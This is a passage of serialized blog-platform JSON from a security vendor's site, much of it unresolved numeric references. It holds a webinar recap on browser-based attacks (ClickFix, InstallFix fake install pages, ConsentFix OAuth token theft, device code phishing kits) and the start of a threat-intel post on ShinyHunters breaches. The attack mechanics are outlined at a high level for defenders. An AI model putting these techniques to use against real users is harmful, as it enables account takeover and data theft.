but the same command initiated through the Run dialog looks like normal activity. Push ",{"data":14373,"content":14374,"nodeType":889},{"uri":5409},[14375],{"data":14376,"marks":14377,"value":14378,"nodeType":865},{},[],"detects ClickFix at the clipboard-injection stage",{"data":14380,"marks":14381,"value":14382,"nodeType":865},{},[],", before the payload ever reaches the endpoint, to bolster endpoint-level detections and extend protection to machines like BYOD, contractor, or developer devices where EDR is often missing or tuned-down.",{"data":14384,"content":14385,"nodeType":972},{},[],{"data":14387,"content":14388,"nodeType":981},{},[14389],{"data":14390,"marks":14391,"value":14393,"nodeType":865},{},[14392],{"type":926},"5. InstallFix turned the AI tool boom into an attack surface overnight",{"data":14395,"content":14396,"nodeType":866},{},[14397,14400,14407],{"data":14398,"marks":14399,"value":21,"nodeType":865},{},[],{"data":14401,"content":14402,"nodeType":889},{"uri":7712},[14403],{"data":14404,"marks":14405,"value":8158,"nodeType":865},{},[14406],{"type":943},{"data":14408,"marks":14409,"value":14410,"nodeType":865},{},[]," — a ClickFix variant that clones legitimate developer tool installation pages and swaps the install command for a malicious payload — was one of the clearest examples of how quickly a new attack pattern can go from zero to dominant. Luke showed side-by-side comparisons of real and fake Claude Code installation pages that were visually identical except for the payload itself, and fake Notebook LM pages appearing as top Google sponsored results.",{"data":14412,"content":14413,"nodeType":866},{},[14414],{"data":14415,"marks":14416,"value":14417,"nodeType":865},{},[],"The trajectory Luke described was striking: \"It literally started one day and then it's just been nonstop for the last couple of months since it started. It obviously is working really well.\" John added that the Claude Code variant in particular has been \"running rampant,\" and that he personally knows someone who fell for it.",{"data":14419,"content":14420,"nodeType":866},{},[14421],{"data":14422,"marks":14423,"value":14424,"nodeType":865},{},[],"What makes InstallFix effective is that it exploits a workflow that's become completely normalized — the rise of AI tools has encouraged even non-technical users to install software via terminal commands copied from documentation pages. When the fake page looks identical to the real one and the install method is exactly what you'd expect, the only tell is a base64-encoded payload that most users wouldn't think to scrutinize.",{"data":14426,"content":14427,"nodeType":972},{},[],{"data":14429,"content":14430,"nodeType":981},{},[14431],{"data":14432,"marks":14433,"value":14435,"nodeType":865},{},[14434],{"type":926},"6. ConsentFix plays out entirely in the browser, and criminals just got the playbook",{"data":14437,"content":14438,"nodeType":866},{},[14439,14442,14449],{"data":14440,"marks":14441,"value":21,"nodeType":865},{},[],{"data":14443,"content":14444,"nodeType":889},{"uri":7472},[14445],{"data":14446,"marks":14447,"value":7465,"nodeType":865},{},[14448],{"type":943},{"data":14450,"marks":14451,"value":14452,"nodeType":865},{},[]," was a key focus in the webinar, and for good reason — it represents a fundamentally different class of browser attack. Rather than proxying credentials (AiTM) or injecting endpoint payloads (ClickFix), ConsentFix abuses the OAuth authorization code flow via the Azure CLI's localhost redirect to obtain access tokens without ever touching a password or MFA prompt. As John put it: \"This one is really tricky because the entire attack and technique lives only within the browser. There are no little EDR artifacts to poke and play at.\"",{"data":14454,"content":14455,"nodeType":866},{},[14456],{"data":14457,"marks":14458,"value":14459,"nodeType":865},{},[],"Luke described how Push first detected ConsentFix in the wild — a genuine zero-day discovery that took multiple encounters to fully understand. The attackers were fingerprinting visitors by IP and browser, triggering the payload only once per visitor across all compromised sites, and performing conditional access checks on the email address provided before deciding whether to proceed. \"It took us seeing it a few times before we cracked it,\" Luke explained. \"And then we were like — wow. What is this? I've never seen this before.\"",{"data":14461,"content":14462,"nodeType":866},{},[14463,14467,14474],{"data":14464,"marks":14465,"value":14466,"nodeType":865},{},[],"The session then took an interesting turn when John revealed something he hadn't previously shared publicly: a  ",{"data":14468,"content":14469,"nodeType":889},{"uri":5739},[14470],{"data":14471,"marks":14472,"value":14473,"nodeType":865},{},[],"ConsentFix v3 toolkit",{"data":14475,"marks":14476,"value":14477,"nodeType":865},{},[]," posted on a well-known criminal forum, complete with a tutorial video, step-by-step instructions, and a zero-infrastructure approach using Cloudflare Workers for hosting, Dropbox for PDF delivery, and Pipedream as an automated exfiltration channel. \"They don’t need any infrastructure,\" John noted. \"They don’t have to host any servers or VPS. They could just cast this out to the whole wide world on the open internet.\"",{"data":14479,"content":14480,"nodeType":7584},{},[14481],{"data":14482,"content":14483,"nodeType":866},{},[14484],{"data":14485,"marks":14486,"value":14487,"nodeType":865},{},[],"Luke's assessment was clear: \"When we published our first article, we were thinking, surely we're going to see a huge increase in this technique. We haven't really — until now.\" ",{"data":14489,"content":14490,"nodeType":866},{},[14491],{"data":14492,"marks":14493,"value":14494,"nodeType":865},{},[],"With the criminal ecosystem now tooled up, the expectation is that ConsentFix will follow the same commoditization arc as other techniques discussed in the session.",{"data":14496,"content":14497,"nodeType":972},{},[],{"data":14499,"content":14500,"nodeType":981},{},[14501],{"data":14502,"marks":14503,"value":14505,"nodeType":865},{},[14504],{"type":926},"7. Device code phishing is the technique both speakers fear most (and it's just getting started)",{"data":14507,"content":14508,"nodeType":866},{},[14509,14513,14519],{"data":14510,"marks":14511,"value":14512,"nodeType":865},{},[],"When John asked Luke which technique felt most dangerous, the answer was immediate: ",{"data":14514,"content":14515,"nodeType":889},{"uri":1951},[14516],{"data":14517,"marks":14518,"value":8061,"nodeType":865},{},[],{"data":14520,"marks":14521,"value":14251,"nodeType":865},{},[],{"data":14523,"content":14524,"nodeType":866},{},[14525],{"data":14526,"marks":14527,"value":14528,"nodeType":865},{},[],"The technique abuses the OAuth 2.0 device authorization grant flow — originally designed for input-constrained devices like TVs, but now primarily used in enterprise environments for CLI tool authentication (Azure CLI, GitHub CLI, AWS CLI). That everyday enterprise usage is exactly what makes the phishing so effective: users in developer-heavy organizations are already habituated to entering short codes as part of their normal workflow. The victim enters a code on a legitimate Microsoft login page, and if they're already authenticated, the entire compromise happens without entering a password or completing an MFA challenge.",{"data":14530,"content":14531,"nodeType":866},{},[14532],{"data":14533,"marks":14534,"value":14535,"nodeType":865},{},[],"Push is now tracking at least 12 distinct device code phishing kits, \"literally within the last couple of months — from basically zero to this.\" EvilTokens dominates at an estimated 90–95% of detected volume, but the kit landscape is diversifying fast. Luke's theory: every existing AiTM vendor is adding device code phishing as a module. When Push investigated the Venom kit, its AiTM component triggered existing Sneaky2FA detections — suggesting the same actors or codebase behind both. \"That's why we've seen such a rapid increase — it's worked so well that everyone is just doing the same thing now.\"",{"data":14537,"content":14538,"nodeType":866},{},[14539,14544],{"data":14540,"marks":14541,"value":14543,"nodeType":865},{},[14542],{"type":926},"What makes device code phishing uniquely dangerous is how little friction it presents to the victim.",{"data":14545,"marks":14546,"value":14547,"nodeType":865},{},[]," As Luke explained: \"It's purely identity-driven. It completely bypasses 2FA, even bypasses phishing-resistant factors like passkeys. And it's just not something that seems malicious to your average user. We haven't trained people to worry about being given a code and being told to type that code.\"",{"data":14549,"content":14550,"nodeType":7584},{},[14551],{"data":14552,"content":14553,"nodeType":866},{},[14554],{"data":14555,"marks":14556,"value":14557,"nodeType":865},{},[],"John's closing take: \"It still feels early and emergent, even though the technique has been known for a while. It hasn't been weaponized like it has right now. I think device code is just at the starting gun.\" ",{"data":14559,"content":14560,"nodeType":866},{},[14561,14565,14572],{"data":14562,"marks":14563,"value":14564,"nodeType":865},{},[],"The blast radius extends beyond Microsoft too — GitHub, Salesforce, and other platforms support the same underlying flow, and was exploited in 2025’s massive Salesforce campaign operated by ",{"data":14566,"content":14567,"nodeType":889},{"uri":3820},[14568],{"data":14569,"marks":14570,"value":3825,"nodeType":865},{},[14571],{"type":943},{"data":14573,"marks":14574,"value":1615,"nodeType":865},{},[],{"data":14576,"content":14577,"nodeType":972},{},[],{"data":14579,"content":14580,"nodeType":981},{},[14581],{"data":14582,"marks":14583,"value":14585,"nodeType":865},{},[14584],{"type":926},"What ties all of this together",{"data":14587,"content":14588,"nodeType":866},{},[14589],{"data":14590,"marks":14591,"value":14592,"nodeType":865},{},[],"Every technique covered in the webinar — AiTM, ClickFix, InstallFix, ConsentFix, device code phishing — is designed to operate in or through the browser, abuse legitimate infrastructure and authentication flows, and evade the traditional security stack. Email gateways don't see them because the delivery vector increasingly isn't email. EDR doesn't reliably block them because the attack either breaks the process tree attribution (ClickFix) or never touches the endpoint at all (ConsentFix, device code phishing). Network proxies don't see them because the attack plays out in client-side page content, DOM interactions, and OAuth flows that are invisible to traffic inspection.",{"data":14594,"content":14595,"nodeType":866},{},[14596,14600,14606,14609,14616,14619,14626,14630,14637],{"data":14597,"marks":14598,"value":14599,"nodeType":865},{},[],"Push detects all of them — ",{"data":14601,"content":14602,"nodeType":889},{"uri":1256},[14603],{"data":14604,"marks":14605,"value":261,"nodeType":865},{},[],{"data":14607,"marks":14608,"value":14216,"nodeType":865},{},[],{"data":14610,"content":14611,"nodeType":889},{"uri":5409},[14612],{"data":14613,"marks":14614,"value":14615,"nodeType":865},{},[]," ClickFix and the *Fix family",{"data":14617,"marks":14618,"value":14216,"nodeType":865},{},[],{"data":14620,"content":14621,"nodeType":889},{"uri":7472},[14622],{"data":14623,"marks":14624,"value":14625,"nodeType":865},{},[]," ConsentFix",{"data":14627,"marks":14628,"value":14629,"nodeType":865},{},[],", and",{"data":14631,"content":14632,"nodeType":889},{"uri":1951},[14633],{"data":14634,"marks":14635,"value":14636,"nodeType":865},{},[]," device code phishing",{"data":14638,"marks":14639,"value":14640,"nodeType":865},{},[]," — through behavioral detection at the browser layer, regardless of delivery channel, domain reputation, or infrastructure rotation. The detections target technique-class behaviors rather than specific kits or indicators, which is why Push detected ConsentFix as a zero-day and why new kit variants are typically caught by existing detection logic before a kit-specific rule is even written.",{"data":14642,"content":14643,"nodeType":866},{},[14644,14647,14655,14659,14665],{"data":14645,"marks":14646,"value":21,"nodeType":865},{},[],{"data":14648,"content":14650,"nodeType":889},{"uri":14649},"https://pushsecurity.com/resources/browser-attacks-why-browser-new-battleground",[14651],{"data":14652,"marks":14653,"value":14055,"nodeType":865},{},[14654],{"type":943},{"data":14656,"marks":14657,"value":14658,"nodeType":865},{},[]," to see the demos, attack chain timelines, and in-the-wild examples discussed in this post — or ",{"data":14660,"content":14661,"nodeType":889},{"uri":1372},[14662],{"data":14663,"marks":14664,"value":14066,"nodeType":865},{},[],{"data":14666,"marks":14667,"value":14668,"nodeType":865},{},[]," to see how Push handles them.","7 things we learned from ‘Why the browser is the new battleground’ with John Hammond","Here are 7 things we learned from our conversation with John Hammond on the \"Why the browser is the new battleground\" webinar. ","2026-05-19T00:00:00.000Z","7-things-we-learned-from-john-hammond",{"items":14674},[14675,14677],{"sys":14676,"name":7796},{"id":7795},{"sys":14678,"name":297},{"id":2310},{"items":14680},[14681],{"fullName":7867,"firstName":7868,"jobTitle":7869,"profilePicture":14682},{"url":7871},{"__typename":1429,"sys":14684,"content":14685,"title":13335,"synopsis":13336,"hashTags":59,"publishedDate":13337,"slug":13338,"tagsCollection":15394,"authorsCollection":15400},{"id":12509},{"json":14686},{"data":14687,"content":14688,"nodeType":1382},{},[14689,14704,14719,14734,14739,14742,14749,14755,14761,14767,14773,14780,14783,14790,14796,14802,14808,14813,14820,14835,14841,14847,14860,14867,14891,14904,14910,14934,14941,14965,14971,14978,14993,14999,15005,15010,15016,15023,15038,15044,15060,15066,15069,15076,15082,15157,15163,15176,15179,15204,15219,15225,15231,15234,15241,15256,15262,15268,15283,15286,15293,15299,15329,15335,15350,15365,15370,15373,15379],{"data":14690,"content":14691,"nodeType":866},{},[14692,14695,14701],{"data":14693,"marks":14694,"value":12520,"nodeType":865},{},[],{"data":14696,"content":14697,"nodeType":889},{"uri":12523},[14698],{"data":14699,"marks":14700,"value":12528,"nodeType":865},{},[],{"data":14702,"marks":14703,"value":12532,"nodeType":865},{},[],{"data":14705,"content":14706,"nodeType":866},{},[14707,14710,14716],{"data":14708,"marks":14709,"value":12539,"nodeType":865},{},[],{"data":14711,"content":14712,"nodeType":889},{"uri":12542},[14713],{"data":14714,"marks":14715,"value":12547,"nodeType":865},{},[],{"data":14717,"marks":14718,"value":12551,"nodeType":865},{},[],{"data":14720,"content":14721,"nodeType":866},{},[14722,14725,14731],{"data":14723,"marks":14724,"value":12558,"nodeType":865},{},[],{"data":14726,"content":14727,"nodeType":889},{"uri":8393},[14728],{"data":14729,"marks":14730,"value":8396,"nodeType":865},{},[],{"data":14732,"marks":14733,"value":12568,"nodeType":865},{},[],{"data":14735,"content":14738,"nodeType":912},{"target":14736},{"sys":14737},{"id":12573,"type":909,"linkType":910},[],{"data":14740,"content":14741,"nodeType":972},{},[],{"data":14743,"content":14744,"nodeType":981},{},[14745],{"data":14746,"marks":14747,"value":12585,"nodeType":865},{},[14748],{"type":926},{"data":14750,"content":14751,"nodeType":866},{},[14752],{"data":14753,"marks":14754,"value":12592,"nodeType":865},{},[],{"data":14756,"content":14757,"nodeType":866},{},[14758],{"data":14759,"marks":14760,"value":12599,"nodeType":865},{},[],{"data":14762,"content":14763,"nodeType":866},{},[14764],{"data":14765,"marks":14766,"value":12606,"nodeType":865},{},[],{"data":14768,"content":14769,"nodeType":866},{},[14770],{"data":14771,"marks":14772,"value":12613,"nodeType":865},{},[],{"data":14774,"content":14775,"nodeType":866},{},[14776],{"data":14777,"marks":14778,"value":12621,"nodeType":865},{},[14779],{"type":926},{"data":14781,"content":14782,"nodeType":972},{},[],{"data":14784,"content":14785,"nodeType":981},{},[14786],{"data":14787,"marks":14788,"value":12632,"nodeType":865},{},[14789],{"type":926},{"data":14791,"content":14792,"nodeType":866},{},[14793],{"data":14794,"marks":14795,"value":12639,"nodeType":865},{},[],{"data":14797,"content":14798,"nodeType":866},{},[14799],{"data":14800,"marks":14801,"value":12646,"nodeType":865},{},[],{"data":14803,"content":14804,"nodeType":866},{},[14805],{"data":14806,"marks":14807,"value":12653,"nodeType":865},{},[],{"data":14809,"content":14812,"nodeType":912},{"target":14810},{"sys":14811},{"id":12658,"type":909,"linkType":910},[],{"data":14814,"content":14815,"nodeType":1317},{},[14816],{"data":14817,"marks":14818,"value":12667,"nodeType":865},{},[14819],{"type":926},{"data":14821,"content":14822,"nodeType":866},{},[14823,14826,14832],{"data":14824,"marks":14825,"value":12674,"nodeType":865},{},[],{"data":14827,"content":14828,"nodeType":889},{"uri":4813},[14829],{"data":14830,"marks":14831,"value":12681,"nodeType":865},{},[],{"data":14833,"marks":14834,"value":12685,"nodeType":865},{},[],{"data":14836,"content":14837,"nodeType":866},{},[14838],{"data":14839,"marks":14840,"value":12692,"nodeType":865},{},[],{"data":14842,"content":14843,"nodeType":866},{},[14844],{"data":14845,"marks":14846,"value":12699,"nodeType":865},{},[],{"data":14848,"content":14849,"nodeType":866},{},[14850,14853,14857],{"data":14851,"marks":14852,"value":12706,"nodeType":865},{},[],{"data":14854,"marks":14855,"value":12711,"nodeType":865},{},[14856],{"type":926},{"data":14858,"marks":14859,"value":12715,"nodeType":865},{},[],{"data":14861,"content":14862,"nodeType":1317},{},[14863],{"data":14864,"marks":14865,"value":12723,"nodeType":865},{},[14866],{"type":926},{"data":14868,"content":14869,"nodeType":866},{},[14870,14873,14879,14882,14888],{"data":14871,"marks":14872,"value":12730,"nodeType":865},{},[],{"data":14874,"content":14875,"nodeType":889},{"uri":6864},[14876],{"data":14877,"marks":14878,"value":12737,"nodeType":865},{},[],{"data":14880,"marks":14881,"value":12741,"nodeType":865},{},[],{"data":14883,"content":14884,"nodeType":889},{"uri":1929},[14885],{"data":14886,"marks":14887,"value":12748,"nodeType":865},{},[],{"data":14889,"marks":14890,"value":12752,"nodeType":865},{},[],{"data":14892,"content":14893,"nodeType":866},{},[14894,14897,14901],{"data":14895,"marks":14896,"value":12759,"nodeType":865},{},[],{"data":14898,"marks":14899,"value":12764,"nodeType":865},{},[14900],{"type":926},{"data":14902,"marks":14903,"value":12768,"nodeType":865},{},[],{"data":14905,"content":14906,"nodeType":866},{},[14907],{"data":14908,"marks":14909,"value":12775,"nodeType":865},{},[],{"data":14911,"content":14912,"nodeType":866},{},[14913,14916,14922,14925,14931],{"data":14914,"marks":14915,"value":12782,"nodeType":865},{},[],{"data":14917,"content":14918,"nodeType":889},{"uri":7712},[14919],{"data":14920,"marks":14921,"value":8158,"nodeType":865},{},[],{"data":14923,"marks":14924,"value":12792,"nodeType":865},{},[],{"data":14926,"content":14927,"nodeType":889},{"uri":7472},[14928],{"data":14929,"marks":14930,"value":7465,"nodeType":865},{},[],{"data":14932,"marks":14933,"value":12802,"nodeType":865},{},[],{"data":14935,"content":14936,"nodeType":1317},{},[14937],{"data":14938,"marks":14939,"value":12810,"nodeType":865},{},[14940],{"type":926},{"data":14942,"content":14943,"nodeType":866},{},[14944,14947,14953,14956,14962],{"data":14945,"marks":14946,"value":12817,"nodeType":865},{},[],{"data":14948,"content":14949,"nodeType":889},{"uri":12820},[14950],{"data":14951,"marks":14952,"value":12825,"nodeType":865},{},[],{"data":14954,"marks":14955,"value":12829,"nodeType":865},{},[],{"data":14957,"content":14958,"nodeType":889},{"uri":5739},[14959],{"data":14960,"marks":14961,"value":12836,"nodeType":865},{},[],{"data":14963,"marks":14964,"value":12840,"nodeType":865},{},[],{"data":14966,"content":14967,"nodeType":866},{},[14968],{"data":14969,"marks":14970,"value":12847,"nodeType":865},{},[],{"data":14972,"content":14973,"nodeType":1317},{},[14974],{"data":14975,"marks":14976,"value":12855,"nodeType":865},{},[14977],{"type":926},{"data":14979,"content":14980,"nodeType":866},{},[14981,14984,14990],{"data":14982,"marks":14983,"value":12862,"nodeType":865},{},[],{"data":14985,"content":14986,"nodeType":889},{"uri":1951},[14987],{"data":14988,"marks":14989,"value":12869,"nodeType":865},{},[],{"data":14991,"marks":14992,"value":12873,"nodeType":865},{},[],{"data":14994,"content":14995,"nodeType":866},{},[14996],{"data":14997,"marks":14998,"value":12880,"nodeType":865},{},[],{"data":15000,"content":15001,"nodeType":866},{},[15002],{"data":15003,"marks":15004,"value":12887,"nodeType":865},{},[],{"data":15006,"content":15009,"nodeType":912},{"target":15007},{"sys":15008},{"id":12892,"type":909,"linkType":910},[],{"data":15011,"content":15012,"nodeType":866},{},[15013],{"data":15014,"marks":15015,"value":12900,"nodeType":865},{},[],{"data":15017,"content":15018,"nodeType":1317},{},[15019],{"data":15020,"marks":15021,"value":12908,"nodeType":865},{},[15022],{"type":926},{"data":15024,"content":15025,"nodeType":866},{},[15026,15029,15035],{"data":15027,"marks":15028,"value":12915,"nodeType":865},{},[],{"data":15030,"content":15031,"nodeType":889},{"uri":3720},[15032],{"data":15033,"marks":15034,"value":12922,"nodeType":865},{},[],{"data":15036,"marks":15037,"value":12926,"nodeType":865},{},[],{"data":15039,"content":15040,"nodeType":866},{},[15041],{"data":15042,"marks":15043,"value":12933,"nodeType":865},{},[],{"data":15045,"content":15046,"nodeType":866},{},[15047,15050,15057],{"data":15048,"marks":15049,"value":12940,"nodeType":865},{},[],{"data":15051,"content":15052,"nodeType":889},{"uri":3720},[15053],{"data":15054,"marks":15055,"value":12948,"nodeType":865},{},[15056],{"type":943},{"data":15058,"marks":15059,"value":12952,"nodeType":865},{},[],{"data":15061,"content":15062,"nodeType":866},{},[15063],{"data":15064,"marks":15065,"value":12959,"nodeType":865},{},[],{"data":15067,"content":15068,"nodeType":972},{},[],{"data":15070,"content":15071,"nodeType":981},{},[15072],{"data":15073,"marks":15074,"value":12970,"nodeType":865},{},[15075],{"type":926},{"data":15077,"content":15078,"nodeType":866},{},[15079],{"data":15080,"marks":15081,"value":12977,"nodeType":865},{},[],{"data":15083,"content":15084,"nodeType":1616},{},[15085,15103,15121,15139],{"data":15086,"content":15087,"nodeType":1570},{},[15088],{"data":15089,"content":15090,"nodeType":866},{},[15091,15094,15100],{"data":15092,"marks":15093,"value":12990,"nodeType":865},{},[],{"data":15095,"content":15096,"nodeType":889},{"uri":4991},[15097],{"data":15098,"marks":15099,"value":8673,"nodeType":865},{},[],{"data":15101,"marks":15102,"value":13000,"nodeType":865},{},[],{"data":15104,"content":15105,"nodeType":1570},{},[15106],{"data":15107,"content":15108,"nodeType":866},{},[15109,15112,15118],{"data":15110,"marks":15111,"value":13010,"nodeType":865},{},[],{"data":15113,"content":15114,"nodeType":889},{"uri":13013},[15115],{"data":15116,"marks":15117,"value":13018,"nodeType":865},{},[],{"data":15119,"marks":15120,"value":13022,"nodeType":865},{},[],{"data":15122,"content":15123,"nodeType":1570},{},[15124],{"data":15125,"content":15126,"nodeType":866},{},[15127,15130,15136],{"data":15128,"marks":15129,"value":12990,"nodeType":865},{},[],{"data":15131,"content":15132,"nodeType":889},{"uri":7472},[15133],{"data":15134,"marks":15135,"value":13038,"nodeType":865},{},[],{"data":15137,"marks":15138,"value":13042,"nodeType":865},{},[],{"data":15140,"content":15141,"nodeType":1570},{},[15142],{"data":15143,"content":15144,"nodeType":866},{},[15145,15148,15154],{"data":15146,"marks":15147,"value":1449,"nodeType":865},{},[],{"data":15149,"content":15150,"nodeType":889},{"uri":13054},[15151],{"data":15152,"marks":15153,"value":3493,"nodeType":865},{},[],{"data":15155,"marks":15156,"value":13062,"nodeType":865},{},[],{"data":15158,"content":15159,"nodeType":866},{},[15160],{"data":15161,"marks":15162,"value":13069,"nodeType":865},{},[],{"data":15164,"content":15165,"nodeType":866},{},[15166,15169,15173],{"data":15167,"marks":15168,"value":13076,"nodeType":865},{},[],{"data":15170,"marks":15171,"value":13081,"nodeType":865},{},[15172],{"type":926},{"data":15174,"marks":15175,"value":13085,"nodeType":865},{},[],{"data":15177,"content":15178,"nodeType":972},{},[],{"data":15180,"content":15181,"nodeType":981},{},[15182,15186,15191,15195,15200],{"data":15183,"marks":15184,"value":13096,"nodeType":865},{},[15185],{"type":926},{"data":15187,"marks":15188,"value":13102,"nodeType":865},{},[15189,15190],{"type":898},{"type":926},{"data":15192,"marks":15193,"value":13107,"nodeType":865},{},[15194],{"type":926},{"data":15196,"marks":15197,"value":13113,"nodeType":865},{},[15198,15199],{"type":898},{"type":926},{"data":15201,"marks":15202,"value":13118,"nodeType":865},{},[15203],{"type":926},{"data":15205,"content":15206,"nodeType":866},{},[15207,15210,15216],{"data":15208,"marks":15209,"value":13125,"nodeType":865},{},[],{"data":15211,"content":15212,"nodeType":889},{"uri":7959},[15213],{"data":15214,"marks":15215,"value":13132,"nodeType":865},{},[],{"data":15217,"marks":15218,"value":13136,"nodeType":865},{},[],{"data":15220,"content":15221,"nodeType":866},{},[15222],{"data":15223,"marks":15224,"value":13143,"nodeType":865},{},[],{"data":15226,"content":15227,"nodeType":866},{},[15228],{"data":15229,"marks":15230,"value":13150,"nodeType":865},{},[],{"data":15232,"content":15233,"nodeType":972},{},[],{"data":15235,"content":15236,"nodeType":981},{},[15237],{"data":15238,"marks":15239,"value":13161,"nodeType":865},{},[15240],{"type":926},{"data":15242,"content":15243,"nodeType":866},{},[15244,15247,15253],{"data":15245,"marks":15246,"value":13168,"nodeType":865},{},[],{"data":15248,"content":15249,"nodeType":889},{"uri":13171},[15250],{"data":15251,"marks":15252,"value":11198,"nodeType":865},{},[],{"data":15254,"marks":15255,"value":13179,"nodeType":865},{},[],{"data":15257,"content":15258,"nodeType":866},{},[15259],{"data":15260,"marks":15261,"value":13186,"nodeType":865},{},[],{"data":15263,"content":15264,"nodeType":866},{},[15265],{"data":15266,"marks":15267,"value":13193,"nodeType":865},{},[],{"data":15269,"content":15270,"nodeType":866},{},[15271,15274,15280],{"data":15272,"marks":15273,"value":13200,"nodeType":865},{},[],{"data":15275,"content":15276,"nodeType":889},{"uri":13203},[15277],{"data":15278,"marks":15279,"value":11198,"nodeType":865},{},[],{"data":15281,"marks":15282,"value":1615,"nodeType":865},{},[],{"data":15284,"content":15285,"nodeType":972},{},[],{"data":15287,"content":15288,"nodeType":981},{},[15289],{"data":15290,"marks":15291,"value":13221,"nodeType":865},{},[15292],{"type":926},{"data":15294,"content":15295,"nodeType":866},{},[15296],{"data":15297,"marks":15298,"value":13228,"nodeType":865},{},[],{"data":15300,"content":15301,"nodeType":1616},{},[15302,15311,15320],{"data":15303,"content":15304,"nodeType":1570},{},[15305],{"data":15306,"content":15307,"nodeType":866},{},[15308],{"data":15309,"marks":15310,"value":13241,"nodeType":865},{},[],{"data":15312,"content":15313,"nodeType":1570},{},[15314],{"data":15315,"content":15316,"nodeType":866},{},[15317],{"data":15318,"marks":15319,"value":13251,"nodeType":865},{},[],{"data":15321,"content":15322,"nodeType":1570},{},[15323],{"data":15324,"content":15325,"nodeType":866},{},[15326],{"data":15327,"marks":15328,"value":13261,"nodeType":865},{},[],{"data":15330,"content":15331,"nodeType":866},{},[15332],{"data":15333,"marks":15334,"value":13268,"nodeType":865},{},[],{"data":15336,"content":15337,"nodeType":866},{},[15338,15341,15347],{"data":15339,"marks":15340,"value":13275,"nodeType":865},{},[],{"data":15342,"content":15343,"nodeType":889},{"uri":8393},[15344],{"data":15345,"marks":15346,"value":13282,"nodeType":865},{},[],{"data":15348,"marks":15349,"value":1615,"nodeType":865},{},[],{"data":15351,"content":15352,"nodeType":866},{},[15353,15356,15362],{"data":15354,"marks":15355,"value":13292,"nodeType":865},{},[],{"data":15357,"content":15358,"nodeType":889},{"uri":1419},[15359],{"data":15360,"marks":15361,"value":13299,"nodeType":865},{},[],{"data":15363,"marks":15364,"value":13303,"nodeType":865},{},[],{"data":15366,"content":15369,"nodeType":912},{"target":15367},{"sys":15368},{"id":13308,"type":909,"linkType":910},[],{"data":15371,"content":15372,"nodeType":972},{},[],{"data":15374,"content":15375,"nodeType":866},{},[15376],{"data":15377,"marks":15378,"value":13319,"nodeType":865},{},[],{"data":15380,"content":15381,"nodeType":866},{},[15382,15385,15391],{"data":15383,"marks":15384,"value":2290,"nodeType":865},{},[],{"data":15386,"content":15387,"nodeType":889},{"uri":1372},[15388],{"data":15389,"marks":15390,"value":2298,"nodeType":865},{},[],{"data":15392,"marks":15393,"value":2302,"nodeType":865},{},[],{"items":15395},[15396,15398],{"sys":15397,"name":7796},{"id":7795},{"sys":15399,"name":342},{"id":4642},{"items":15401},[15402],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":15403},{"url":7804},{"__typename":1429,"sys":15405,"content":15407,"title":16369,"synopsis":16370,"hashTags":59,"publishedDate":13337,"slug":16371,"tagsCollection":16372,"authorsCollection":16378},{"id":15406},"3jF1fypt08TNlSoWuoMWhj",{"json":15408},{"data":15409,"content":15410,"nodeType":1382},{},[15411,15437,15468,15511,15554,15560,15572,15575,15583,15633,15640,15663,15669,15672,15680,15708,15715,15723,15729,15732,15740,15747,15765,15772,15814,15821,15824,15832,15851,15906,15909,15917,15935,15953,15960,15967,15979,15991,16003,16015,16031,16039,16046,16049,16055,16061,16077,16080,16088,16106,16363],{"data":15412,"content":15413,"nodeType":866},{},[15414,15418,15424,15428,15433],{"data":15415,"marks":15416,"value":15417,"nodeType":865},{},[],"ShinyHunters and the broader SLH (",{"data":15419,"content":15420,"nodeType":889},{"uri":4991},[15421],{"data":15422,"marks":15423,"value":8673,"nodeType":865},{},[],{"data":15425,"marks":15426,"value":15427,"nodeType":865},{},[],") collective have claimed breaches at thousands of organizations over the past twelve months across retail, technology, aviation, financial services, media, gaming, and education, in what amounts to the most sustained data theft and extortion operation in recent cybercrime history. SLH's genealogy traces through a merger of Scattered Spider, Lapsus$, and ShinyHunters, all parts of ",{"data":15429,"marks":15430,"value":15432,"nodeType":865},{},[15431],{"type":926},"the Com",{"data":15434,"marks":15435,"value":15436,"nodeType":865},{},[],", a broader community of English-speaking cybercriminals with international links. ",{"data":15438,"content":15439,"nodeType":866},{},[15440,15444,15452,15456,15464],{"data":15441,"marks":15442,"value":15443,"nodeType":865},{},[],"The confirmed victim list reads like a Fortune 500 directory: Coca-Cola, Cisco, Qantas, Coinbase, ADT, Aflac, SoundCloud, Rockstar Games, Charter Communications, and recently ",{"data":15445,"content":15447,"nodeType":889},{"uri":15446},"https://www.bleepingcomputer.com/news/security/instructure-confirms-data-breach-shinyhunters-claims-attack/",[15448],{"data":15449,"marks":15450,"value":15451,"nodeType":865},{},[],"Instructure",{"data":15453,"marks":15454,"value":15455,"nodeType":865},{},[]," — whose breach ",{"data":15457,"content":15459,"nodeType":889},{"uri":15458},"https://krebsonsecurity.com/2026/05/canvas-breach-disrupts-schools-colleges-nationwide/",[15460],{"data":15461,"marks":15462,"value":15463,"nodeType":865},{},[],"disrupted schools and universities nationwide",{"data":15465,"marks":15466,"value":15467,"nodeType":865},{},[]," during final exams — among dozens more named publicly and likely many more that haven't been (breaches settled quickly behind closed doors don't always make it into the public eye). ShinyHunters alone claimed over 1.5 billion stolen Salesforce records from a single campaign targeting more than 1,000 organizations.",{"data":15469,"content":15470,"nodeType":866},{},[15471,15475,15483,15487,15495,15499,15507],{"data":15472,"marks":15473,"value":15474,"nodeType":865},{},[],"Additional operating clusters, including Cordial Spider and Snarky Spider (which CrowdStrike ",{"data":15476,"content":15478,"nodeType":889},{"uri":15477},"https://cyberscoop.com/crowdstrike-cordial-spider-snarky-spider-extortion-attacks/",[15479],{"data":15480,"marks":15481,"value":15482,"nodeType":865},{},[],"characterizes as the new generation of Scattered Spider",{"data":15484,"marks":15485,"value":15486,"nodeType":865},{},[],") run parallel campaigns against different target sectors, unified not by shared infrastructure but by a shared playbook of techniques that exploit the structural weakness in modern SaaS-first organizations. ",{"data":15488,"content":15490,"nodeType":889},{"uri":15489},"https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-03-12-Vishing-Campaigns-Lead-to-Data-Theft-and-Extortion.txt",[15491],{"data":15492,"marks":15493,"value":15494,"nodeType":865},{},[],"Unit 42 documented",{"data":15496,"marks":15497,"value":15498,"nodeType":865},{},[]," these groups moving from initial compromise to complete data exfiltration in under an hour — faster than most organizations can even begin to respond. Newer groups with links to the SLH ecosystem like CoinbaseCartel have also continued the tradition of weaponizing stolen credentials from the infostealer economy at scale, as ShinyHunters did in the 